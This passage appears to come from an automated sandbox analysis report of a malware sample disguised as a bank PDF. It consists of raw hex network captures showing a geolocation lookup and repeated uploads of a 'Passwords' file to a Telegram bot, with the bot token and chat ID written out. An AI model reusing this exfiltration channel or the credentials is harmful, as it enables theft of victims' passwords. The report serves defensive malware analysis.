                                                                                                          2024-12-03 09:07:59 UTC1390INData Raw: cb 10 5d d2 c4 c2 76 f0 7e 5f 91 ae ee bf c1 32 1c 44 16 c9 75 81 44 b2 56 b2 74 14 bc 35 07 b2 d6 40 a9 be f2 ad 77 c4 e4 86 39 63 05 ca 8f 0d 6f c5 48 a0 ee e2 5b 3f c4 2b 94 f1 e5 7e b0 cf f5 40 59 6b 48 cd 44 9c 9d c5 79 06 06 8a 32 41 7c 04 16 98 32 7b 02 f2 b1 84 f6 a9 99 32 99 5d 99 7f be cd d6 2b c4 97 13 49 f5 23 a5 58 93 88 7f a8 6b ce e5 60 a5 e5 86 e9 20 50 0f c6 b8 f1 86 76 3f f8 41 83 5e 18 fc 20 c5 17 f1 59 5c 18 cc 82 40 50 c2 14 9b 7c 97 49 86 fd e1 33 21 a3 71 e3 63 79 f1 68 4f d3 ec 58 99 20 6b 86 c8 3c dd 0c 23 13 76 74 c7 f8 a5 c2 23 98 36 2d a5 b3 2a 06 af 79 68 e6 18 1e 50 2c e6 e9 fd 01 b8 1f e5 ce 65 e4 29 91 f2 11 ae fd c7 4d f5 06 8c fc e8 af 59 08 a7 72 0e e6 e1 3f 5c 8d e2 9f fa 00 71 53 3d 1d 9f 81 db 68 b0 d9 38 c1 97 ab a0
                                                                                                          Data Ascii: ]v~_2DuDVt5@w9coH[?+~@YkHDy2A|2{2]+I#Xk` Pv?A^ Y\@P|I3!qcyhOX k<#vt#6-*yhP,e)MYr?\qS=h8
                                                                                                          2024-12-03 09:07:59 UTC1390INData Raw: fc e1 5e 33 7c 90 57 eb 2d 0f 6a 65 6f 0d 91 d0 0e 52 73 38 c1 9c 8c a6 f8 eb 7e 30 a3 27 98 55 62 23 f2 59 91 b0 73 1e 36 eb a6 4d 47 ef f3 38 98 5d 4a c7 bc 62 84 0c 24 e2 7f 25 11 cd 5a d6 3e 9f 70 3d 16 d8 e6 0d 03 2f 0a 0a 37 2e 33 6c 77 f1 93 77 71 d4 7c 58 c5 b3 c8 f8 eb 2a 69 67 ee ee 6f ae 29 61 69 15 6c 32 f4 f2 b3 b3 02 ff 5a 87 bf 51 b9 d2 13 fc c8 d8 06 33 aa 0c f6 bf c4 48 a3 42 2e e6 d4 3b 6e 4b 20 65 26 83 ca e8 66 23 6b 51 ef 2c a0 85 cd a4 e2 d7 0e 0b aa ae 65 eb ec 4a d4 51 cf 16 61 db 22 e7 0a c9 c1 ed 9e 15 dd ba 62 b3 16 aa 2f b5 cf 4b 7e d1 fa e2 56 81 42 b7 1e 8f 63 d3 f6 12 cb 3a ea 8d 8f a7 a2 65 d4 ba ef 94 90 dd 41 3e 78 1e bc 4d da dd e2 64 04 54 08 0a 4d b2 32 b1 cd ad 69 a4 c9 fb 53 0f 6f c2 f6 2b 88 cb 5f b4 e3 da 34 63 67
                                                                                                          Data Ascii: ^3|W-jeoRs8~0'Ub#Ys6MG8]Jb$%Z>p=/7.3lwwq|X*igo)ail2ZQ3HB.;nK e&f#kQ,eJQa"b/K~VBc:eA>xMdTM2iSo+_4cg
                                                                                                          2024-12-03 09:07:59 UTC1390INData Raw: b2 53 95 0e 8d 3c a4 b4 fb 53 0f 76 cc f0 12 7e a4 5e bf e8 d7 25 27 67 09 a5 7d 0b 93 45 ff ec d2 fd 48 c7 68 cf 9c b4 1a 57 9c 44 aa 0c 59 a0 02 10 68 01 38 b7 ea 0b 9c d1 d5 1c 30 73 a1 de ca 3f be 12 f0 9a 8f 1a be 26 b7 26 8d 6e e4 cf 04 be 44 94 36 46 62 10 46 80 f4 b4 a3 ef 21 85 8d f0 ae 2e ce 4f cc fe e2 c0 02 88 01 39 b5 fe d5 82 a5 10 8f 8e 5c 6c 49 46 63 ac 12 df e5 9f 95 a7 12 7f 23 1e a4 a3 a6 b3 fd c2 9c 0f 1f 86 18 ec e0 ed b8 2b 64 b7 f7 9b 44 f1 02 40 84 d0 f7 eb 01 4d 7d 9b 2b 92 25 7a a7 e1 d6 dd e5 10 57 06 9a 8c 80 fd 9d 67 b6 f1 82 8f 38 ad 7a 2c ef f4 c0 64 86 73 6b 08 da ed 76 bf eb 50 6e 93 71 b6 22 fc 1b 72 bb ac 9d 62 85 80 1f 89 de 65 fb b1 6a fa 07 d4 8b 6d aa 2c d3 93 53 ef 86 2c 01 10 13 99 f3 ab f0 16 89 8a ef 55 77 27 38
                                                                                                          Data Ascii: S<Sv~^%'g}EHhWDYh80s?&&nD6FbF!.O9\lIFc#+dD@M}+%zWg8z,dskvPnq"rbejm,S,Uw'8
                                                                                                          2024-12-03 09:07:59 UTC1390INData Raw: 6d d3 d7 d1 82 5c b5 f0 29 01 66 16 b8 63 a2 e4 e2 9e 67 e6 1b 6e 3d d7 bf b7 fd 0c 03 2f 9a 6b ac 6c 58 1b e3 f2 d6 cd 22 ae e4 20 d0 3a 03 77 35 25 d8 18 99 5a 05 2f 95 d5 20 7a 82 99 4c 85 d9 31 e6 52 5c e1 4e 31 c2 3c d1 dd 55 89 46 99 fa 40 5f 3e 85 26 9d db d5 9f d0 8a 01 13 51 81 b3 a8 70 80 c6 71 e5 de 4c 22 03 48 d8 35 e5 c1 c1 98 d2 0f a8 93 1b 42 5a 6d 33 73 76 23 35 f3 f2 6b e6 68 89 2c 73 e6 21 fe d3 a5 9a 23 c5 06 08 e9 6f b0 60 9e 5d e6 41 d0 43 3d e5 28 5d e6 70 57 58 df dd 2e 88 5f 87 56 37 be e6 97 2d 3f 6f 82 ee 64 f1 32 f8 c7 b1 42 d6 5f da 55 66 c8 c3 6b 43 63 58 d4 76 78 d7 32 a1 c3 05 8a 12 54 dd f4 84 f1 ce b0 19 f9 24 7d 44 9a 4e dd 71 a4 4e 16 1a f0 4f 00 3a 7f e3 80 9f 68 92 f2 ef 7a 3d 4d f8 3e 4a dc e6 9e b5 89 7d 3f b5 66 84
                                                                                                          Data Ascii: m\)fcgn=/klX" :w5%Z/ zL1R\N1<UF@_>&QpqL"H5BZm3sv#5kh,s!#o`]AC=(]pWX._V7-?od2B_UfkCcXvx2T$}DNqNO:hz=M>J}?f
                                                                                                          2024-12-03 09:07:59 UTC1390INData Raw: 40 a0 9d 3a 05 92 f2 e4 81 2b 3f 34 6b 56 ac 44 bb a2 80 df 09 ad 14 a8 41 f3 3e b2 48 b2 5b 95 47 d7 0c fe 28 f2 54 ea 39 06 c2 fb 76 9a 84 6e a3 4b b5 f0 fc c1 5e e0 56 7f a4 2d 9d c8 7f f7 98 8f e2 35 c7 27 68 16 f9 cf 40 31 23 ab f8 ac ec 62 7a 38 89 32 17 9b 5a 71 d7 eb 12 ab ff 75 64 35 b1 b8 74 c2 66 5f 58 a0 c7 36 bc 8d 99 30 5d 5a a5 39 99 ae ca 6d 64 5a 0e 76 06 58 69 c8 20 58 0c 0a ec 99 1a 72 15 37 ba 51 d3 a3 d8 11 21 dd 55 b0 60 ad 81 38 05 62 13 5f ff f1 14 61 34 b8 42 60 e5 2f 5b 9f 9e 51 41 35 dc 50 e8 83 58 97 a6 ff 95 44 40 bf ee 77 13 05 83 89 1f e0 b4 30 87 9d 78 83 21 8e 41 98 1a 97 e3 93 0a ab 03 5c 98 d6 ed eb bd a6 b0 c8 3a 5f be 53 e9 2e 14 a2 29 21 28 15 80 a0 02 95 91 ae d6 52 c3 cc de 70 93 29 37 ef c2 81 24 ae e7 16 53 c6 b5
                                                                                                          Data Ascii: @:+?4kVDA>H[G(T9vnK^V-5'h@1#bz82Zqud5tf_X60]Z9mdZvXi Xr7Q!U`8b_a4B`/[QA5PXD@w0x!A\:_S.)!(Rp)7$S
                                                                                                          2024-12-03 09:07:59 UTC1390INData Raw: c9 1e 95 8b c0 03 52 d3 ca d3 78 c6 2e 45 90 c5 b1 50 c1 4e 17 53 c0 95 9a 81 55 b8 5a be 4d c2 ce 61 17 c0 3f 4d e7 ce da e9 64 d5 ff 9d 20 16 dd 32 8f 07 76 dc 5e 8b c7 12 5b 3f c8 ef 50 e2 f4 6b ab 1d 90 cc c8 32 38 a2 97 8f 89 d5 4c 1b 1b bb 37 41 0a 00 da 9a 26 7c 05 e3 98 80 98 5b 99 3a 82 7c fa 03 b4 5c 86 94 11 97 13 b1 f9 38 a3 4e f6 e5 7a b9 02 8d 36 76 b6 fb 95 c6 2d 41 1f a7 3c ed 97 15 47 f7 52 99 4e 18 e2 09 f6 3d 62 59 4d 0a ce 91 c0 47 ce 66 8a 45 80 59 9d 66 91 48 0f ad 6a 98 77 63 60 7d 5a b9 ed 4e 61 32 49 96 d7 3b 3f 1c 2c 0a 7a 6f cc 3f 5d d0 28 89 2c 17 a0 85 91 12 be 68 e8 cb b3 41 50 26 ff e7 e5 37 3f 00 cd 0d 76 e1 23 b9 bc 3a 8e f7 fc f1 87 e4 83 f4 89 bb 0b 85 ad 00 fc 93 34 4f 33 78 8d c0 f0 2d 75 6a 97 6f 0d 9d c8 1d df 3b 3c
                                                                                                          Data Ascii: Rx.EPNSUZMa?Md 2v^[?Pk28L7A&|[:|\8Nz6v-A<GRN=bYMGfEYfHjwc`}ZNa2I;?,zo?](,hAP&7?v#:4O3x-ujo;<


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          2192.168.2.549814172.67.177.1344431292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          2024-12-03 09:08:04 UTC85OUTGET /xml/8.46.123.228 HTTP/1.1
                                                                                                          Host: reallyfreegeoip.org
                                                                                                          Connection: Keep-Alive
                                                                                                          2024-12-03 09:08:05 UTC879INHTTP/1.1 200 OK
                                                                                                          Date: Tue, 03 Dec 2024 09:08:05 GMT
                                                                                                          Content-Type: text/xml
                                                                                                          Content-Length: 362
                                                                                                          Connection: close
                                                                                                          Cache-Control: max-age=31536000
                                                                                                          CF-Cache-Status: HIT
                                                                                                          Age: 94308
                                                                                                          Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT
                                                                                                          Accept-Ranges: bytes
                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZuU7rSgKJP6fL%2FPNtLVJHJdpcHtRyp2fEKnn5ta3vPQO4aAYg3UTKMaZ%2FilQy5IrP6ynPdyR%2FNJrPNHarfCbz4bUeDCN8z2p0iVIGau5KA45HBoPJxggooPyWN%2B%2FH9kXvx6Y0N9J"}],"group":"cf-nel","max_age":604800}
                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                          Server: cloudflare
                                                                                                          CF-RAY: 8ec268fb3c031a17-EWR
                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1790&min_rtt=1782&rtt_var=685&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1579232&cwnd=127&unsent_bytes=0&cid=5f6b5b3ebffc8ef9&ts=466&x=0"
                                                                                                          2024-12-03 09:08:05 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                          Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          3192.168.2.549831149.154.167.2204431292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          2024-12-03 09:08:12 UTC296OUTPOST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1
                                                                                                          Content-Type: multipart/form-data; boundary================8dd1350193db893
                                                                                                          Host: api.telegram.org
                                                                                                          Content-Length: 1090
                                                                                                          Connection: Keep-Alive
                                                                                                          2024-12-03 09:08:12 UTC1090OUTData Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 33 35 30 31 39 33 64 62 38 39 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                          Data Ascii: --===============8dd1350193db893Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
                                                                                                          2024-12-03 09:08:13 UTC388INHTTP/1.1 200 OK
                                                                                                          Server: nginx/1.18.0
                                                                                                          Date: Tue, 03 Dec 2024 09:08:12 GMT
                                                                                                          Content-Type: application/json
                                                                                                          Content-Length: 544
                                                                                                          Connection: close
                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                          Access-Control-Allow-Origin: *
                                                                                                          Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                          Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                          2024-12-03 09:08:13 UTC544INData Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 31 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 31 36 38 39 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d
                                                                                                          Data Ascii: {"ok":true,"result":{"message_id":512,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733216892,"document":{"file_nam


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          4192.168.2.549842149.154.167.2204431292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          2024-12-03 09:08:15 UTC296OUTPOST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1
                                                                                                          Content-Type: multipart/form-data; boundary================8dd137e105fc1fe
                                                                                                          Host: api.telegram.org
                                                                                                          Content-Length: 1090
                                                                                                          Connection: Keep-Alive
                                                                                                          2024-12-03 09:08:15 UTC1090OUTData Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 33 37 65 31 30 35 66 63 31 66 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                          Data Ascii: --===============8dd137e105fc1feContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
                                                                                                          2024-12-03 09:08:16 UTC388INHTTP/1.1 200 OK
                                                                                                          Server: nginx/1.18.0
                                                                                                          Date: Tue, 03 Dec 2024 09:08:16 GMT
                                                                                                          Content-Type: application/json
                                                                                                          Content-Length: 541
                                                                                                          Connection: close
                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                          Access-Control-Allow-Origin: *
                                                                                                          Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                          Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                          2024-12-03 09:08:16 UTC541INData Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 31 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 31 36 38 39 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d
                                                                                                          Data Ascii: {"ok":true,"result":{"message_id":513,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733216896,"document":{"file_nam


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          5192.168.2.549851149.154.167.2204431292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          2024-12-03 09:08:19 UTC272OUTPOST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1
                                                                                                          Content-Type: multipart/form-data; boundary================8dd13ae82c32536
                                                                                                          Host: api.telegram.org
                                                                                                          Content-Length: 1090
                                                                                                          2024-12-03 09:08:19 UTC1090OUTData Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 33 61 65 38 32 63 33 32 35 33 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                          Data Ascii: --===============8dd13ae82c32536Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
                                                                                                          2024-12-03 09:08:20 UTC388INHTTP/1.1 200 OK
                                                                                                          Server: nginx/1.18.0
                                                                                                          Date: Tue, 03 Dec 2024 09:08:20 GMT
                                                                                                          Content-Type: application/json
                                                                                                          Content-Length: 541
                                                                                                          Connection: close
                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                          Access-Control-Allow-Origin: *
                                                                                                          Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                          Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                          2024-12-03 09:08:20 UTC541INData Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 31 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 31 36 39 30 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d
                                                                                                          Data Ascii: {"ok":true,"result":{"message_id":514,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733216900,"document":{"file_nam


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          6192.168.2.549864149.154.167.2204431292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          2024-12-03 09:08:24 UTC296OUTPOST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1
                                                                                                          Content-Type: multipart/form-data; boundary================8dd13e16033c20b
                                                                                                          Host: api.telegram.org
                                                                                                          Content-Length: 1090
                                                                                                          Connection: Keep-Alive
                                                                                                          2024-12-03 09:08:24 UTC1090OUTData Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 33 65 31 36 30 33 33 63 32 30 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                          Data Ascii: --===============8dd13e16033c20bContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
                                                                                                          2024-12-03 09:08:24 UTC388INHTTP/1.1 200 OK
                                                                                                          Server: nginx/1.18.0
                                                                                                          Date: Tue, 03 Dec 2024 09:08:24 GMT
                                                                                                          Content-Type: application/json
                                                                                                          Content-Length: 541
                                                                                                          Connection: close
                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                          Access-Control-Allow-Origin: *
                                                                                                          Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                          Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                          2024-12-03 09:08:24 UTC541INData Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 31 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 31 36 39 30 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d
                                                                                                          Data Ascii: {"ok":true,"result":{"message_id":515,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733216904,"document":{"file_nam


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          7192.168.2.549874149.154.167.2204431292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          2024-12-03 09:08:28 UTC296OUTPOST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1
